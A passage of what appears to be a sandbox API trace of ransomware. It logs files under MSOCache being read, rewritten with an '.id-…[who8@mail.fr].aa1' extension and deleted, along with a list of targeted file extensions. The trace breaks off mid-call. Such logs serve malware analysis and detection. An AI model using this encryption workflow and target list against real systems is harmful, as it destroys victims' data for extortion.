1 [0200.875] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0200.875] GetLastError () returned 0x0 [0200.875] ReadFile (in: hFile=0x19c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x15b5, lpOverlapped=0x0) returned 1 [0200.884] WriteFile (in: hFile=0x1ac, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x15c0, lpOverlapped=0x0) returned 1 [0200.885] ReadFile (in: hFile=0x19c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0200.885] WriteFile (in: hFile=0x1ac, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0200.885] SetEndOfFile (hFile=0x1ac) returned 1 [0200.885] CloseHandle (hObject=0x1ac) returned 1 [0200.886] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0200.886] SetEndOfFile (hFile=0x19c) returned 1 [0200.886] CloseHandle (hObject=0x19c) returned 1 [0200.887] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0200.887] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml")) returned 1 [0200.887] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0200.887] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0200.887] lstrlenW (lpString=".doc") returned 4 [0200.887] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0200.887] lstrlenW (lpString=".docx") returned 5 [0200.887] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0200.887] lstrlenW (lpString=".pdf") returned 4 [0200.887] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0200.887] lstrlenW (lpString=".xls") returned 4 [0200.887] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0200.887] lstrlenW (lpString=".xlsx") returned 5 [0200.887] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0200.887] lstrlenW (lpString=".ppt") returned 4 [0200.887] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0200.887] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0200.887] lstrlenW (lpString=".zip") returned 4 [0200.887] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0200.887] lstrlenW (lpString=".rar") returned 4 [0200.887] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0200.887] lstrlenW (lpString=".bz2") returned 4 [0200.888] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0200.888] lstrlenW (lpString=".7z") returned 3 [0200.888] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0200.888] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0200.888] lstrlenW (lpString=".dbf") returned 4 [0200.888] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0200.888] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0200.888] lstrlenW (lpString=".1cd") returned 4 [0200.888] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0200.888] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0200.888] lstrlenW (lpString=".jpg") returned 4 [0200.888] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0200.888] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0200.888] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0200.888] lstrlenW (lpString=".doc") returned 4 [0200.888] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0200.888] lstrlenW (lpString=".docx") returned 5 [0200.888] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0200.888] lstrlenW (lpString=".pdf") returned 4 [0200.888] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0200.888] lstrlenW (lpString=".xls") returned 4 [0200.888] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0200.888] lstrlenW (lpString=".xlsx") returned 5 [0200.888] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0200.888] lstrlenW (lpString=".ppt") returned 4 [0200.888] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0200.888] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0200.888] lstrlenW (lpString=".zip") returned 4 [0200.888] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0200.888] lstrlenW (lpString=".rar") returned 4 [0200.888] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0200.888] lstrlenW (lpString=".bz2") returned 4 [0200.889] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0200.889] lstrlenW (lpString=".7z") returned 3 [0200.889] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0200.889] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0200.889] lstrlenW (lpString=".dbf") returned 4 [0200.889] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0200.889] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0200.889] lstrlenW (lpString=".1cd") returned 4 [0200.889] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0200.889] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0200.889] lstrlenW (lpString=".jpg") returned 4 [0200.889] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0200.889] lstrcmpiW (lpString1=".chm", lpString2=".aa1") returned 1 [0200.889] lstrlenW (lpString="pss10r.chm") returned 10 [0200.889] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0200.897] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=27195) returned 1 [0200.897] CloseHandle (hObject=0x19c) returned 1 [0200.897] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm")) returned 0x2020 [0200.898] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0200.898] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0200.898] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0200.898] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0200.898] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0200.898] GetLastError () returned 0x0 [0200.898] ReadFile (in: hFile=0x19c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x6a3b, lpOverlapped=0x0) returned 1 [0200.900] WriteFile (in: hFile=0x1ac, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x6a40, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x6a40, lpOverlapped=0x0) returned 1 [0200.901] ReadFile (in: hFile=0x19c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0200.901] WriteFile (in: hFile=0x1ac, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0200.901] SetEndOfFile (hFile=0x1ac) returned 1 [0200.902] CloseHandle (hObject=0x1ac) returned 1 [0201.252] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0201.253] SetEndOfFile (hFile=0x19c) returned 1 [0201.253] CloseHandle (hObject=0x19c) returned 1 [0201.254] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0201.254] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm")) returned 1 [0201.254] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0201.254] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0201.254] lstrlenW (lpString=".doc") returned 4 [0201.254] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0201.255] lstrlenW (lpString=".docx") returned 5 [0201.255] lstrcmpiW (lpString1=".docx", lpString2="r.chm") returned -1 [0201.255] lstrlenW (lpString=".pdf") returned 4 [0201.255] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0201.255] lstrlenW (lpString=".xls") returned 4 [0201.255] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0201.255] lstrlenW (lpString=".xlsx") returned 5 [0201.255] lstrcmpiW (lpString1=".xlsx", lpString2="r.chm") returned -1 [0201.255] lstrlenW (lpString=".ppt") returned 4 [0201.255] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0201.255] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0201.255] lstrlenW (lpString=".zip") returned 4 [0201.255] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0201.255] lstrlenW (lpString=".rar") returned 4 [0201.255] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0201.255] lstrlenW (lpString=".bz2") returned 4 [0201.255] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0201.255] lstrlenW (lpString=".7z") returned 3 [0201.255] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0201.256] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0201.256] lstrlenW (lpString=".dbf") returned 4 [0201.256] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0201.256] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0201.256] lstrlenW (lpString=".1cd") returned 4 [0201.256] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0201.256] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0201.256] lstrlenW (lpString=".jpg") returned 4 [0201.256] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0201.256] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0201.256] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0201.256] lstrlenW (lpString=".doc") returned 4 [0201.256] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0201.256] lstrlenW (lpString=".docx") returned 5 [0201.256] lstrcmpiW (lpString1=".docx", lpString2="r.chm") returned -1 [0201.256] lstrlenW (lpString=".pdf") returned 4 [0201.258] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0201.258] lstrlenW (lpString=".xls") returned 4 [0201.258] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0201.258] lstrlenW (lpString=".xlsx") returned 5 [0201.258] lstrcmpiW (lpString1=".xlsx", lpString2="r.chm") returned -1 [0201.258] lstrlenW (lpString=".ppt") returned 4 [0201.258] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0201.258] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0201.258] lstrlenW (lpString=".zip") returned 4 [0201.258] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0201.258] lstrlenW (lpString=".rar") returned 4 [0201.258] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0201.258] lstrlenW (lpString=".bz2") returned 4 [0201.258] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0201.258] lstrlenW (lpString=".7z") returned 3 [0201.258] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0201.259] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0201.259] lstrlenW (lpString=".dbf") returned 4 [0201.259] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0201.259] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0201.259] lstrlenW (lpString=".1cd") returned 4 [0201.259] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0201.259] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0201.259] lstrlenW (lpString=".jpg") returned 4 [0201.259] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0201.259] lstrcmpiW (lpString1=".xml", lpString2=".aa1") returned 1 [0201.259] lstrlenW (lpString="Office32WW.xml") returned 14 [0201.259] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0201.261] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=4274) returned 1 [0201.261] CloseHandle (hObject=0x19c) returned 1 [0201.261] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0201.261] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0201.261] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0201.261] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0201.262] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0201.262] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0201.262] GetLastError () returned 0x0 [0201.262] ReadFile (in: hFile=0x19c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x10b2, lpOverlapped=0x0) returned 1 [0201.283] WriteFile (in: hFile=0x1ac, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0201.284] ReadFile (in: hFile=0x19c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0201.285] WriteFile (in: hFile=0x1ac, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0201.285] SetEndOfFile (hFile=0x1ac) returned 1 [0201.285] CloseHandle (hObject=0x1ac) returned 1 [0201.286] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0201.286] SetEndOfFile (hFile=0x19c) returned 1 [0201.288] CloseHandle (hObject=0x19c) returned 1 [0201.288] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0201.289] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1 [0201.289] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0201.289] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0201.289] lstrlenW (lpString=".doc") returned 4 [0201.290] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.290] lstrlenW (lpString=".docx") returned 5 [0201.290] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0201.290] lstrlenW (lpString=".pdf") returned 4 [0201.290] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.290] lstrlenW (lpString=".xls") returned 4 [0201.290] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.290] lstrlenW (lpString=".xlsx") returned 5 [0201.290] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0201.290] lstrlenW (lpString=".ppt") returned 4 [0201.290] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.290] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0201.290] lstrlenW (lpString=".zip") returned 4 [0201.290] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.291] lstrlenW (lpString=".rar") returned 4 [0201.291] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.291] lstrlenW (lpString=".bz2") returned 4 [0201.291] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.291] lstrlenW (lpString=".7z") returned 3 [0201.291] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.291] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0201.291] lstrlenW (lpString=".dbf") returned 4 [0201.291] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.291] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0201.291] lstrlenW (lpString=".1cd") returned 4 [0201.291] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.291] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0201.291] lstrlenW (lpString=".jpg") returned 4 [0201.291] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.291] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0201.291] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0201.291] lstrlenW (lpString=".doc") returned 4 [0201.291] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0201.291] lstrlenW (lpString=".docx") returned 5 [0201.291] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0201.291] lstrlenW (lpString=".pdf") returned 4 [0201.291] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0201.291] lstrlenW (lpString=".xls") returned 4 [0201.291] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0201.291] lstrlenW (lpString=".xlsx") returned 5 [0201.291] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0201.291] lstrlenW (lpString=".ppt") returned 4 [0201.291] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0201.291] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0201.291] lstrlenW (lpString=".zip") returned 4 [0201.292] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0201.292] lstrlenW (lpString=".rar") returned 4 [0201.292] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0201.292] lstrlenW (lpString=".bz2") returned 4 [0201.292] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0201.292] lstrlenW (lpString=".7z") returned 3 [0201.292] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0201.292] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0201.292] lstrlenW (lpString=".dbf") returned 4 [0201.292] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0201.292] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0201.292] lstrlenW (lpString=".1cd") returned 4 [0201.292] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0201.292] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0201.292] lstrlenW (lpString=".jpg") returned 4 [0201.292] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0201.292] lstrcmpiW (lpString1=".xml", lpString2=".aa1") returned 1 [0201.292] lstrlenW (lpString="PrjProrWW.xml") returned 13 [0201.292] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0201.293] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=6421) returned 1 [0201.294] CloseHandle (hObject=0x19c) returned 1 [0201.294] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml")) returned 0x2020 [0201.294] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0201.294] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0201.294] SetFilePointerEx (in: 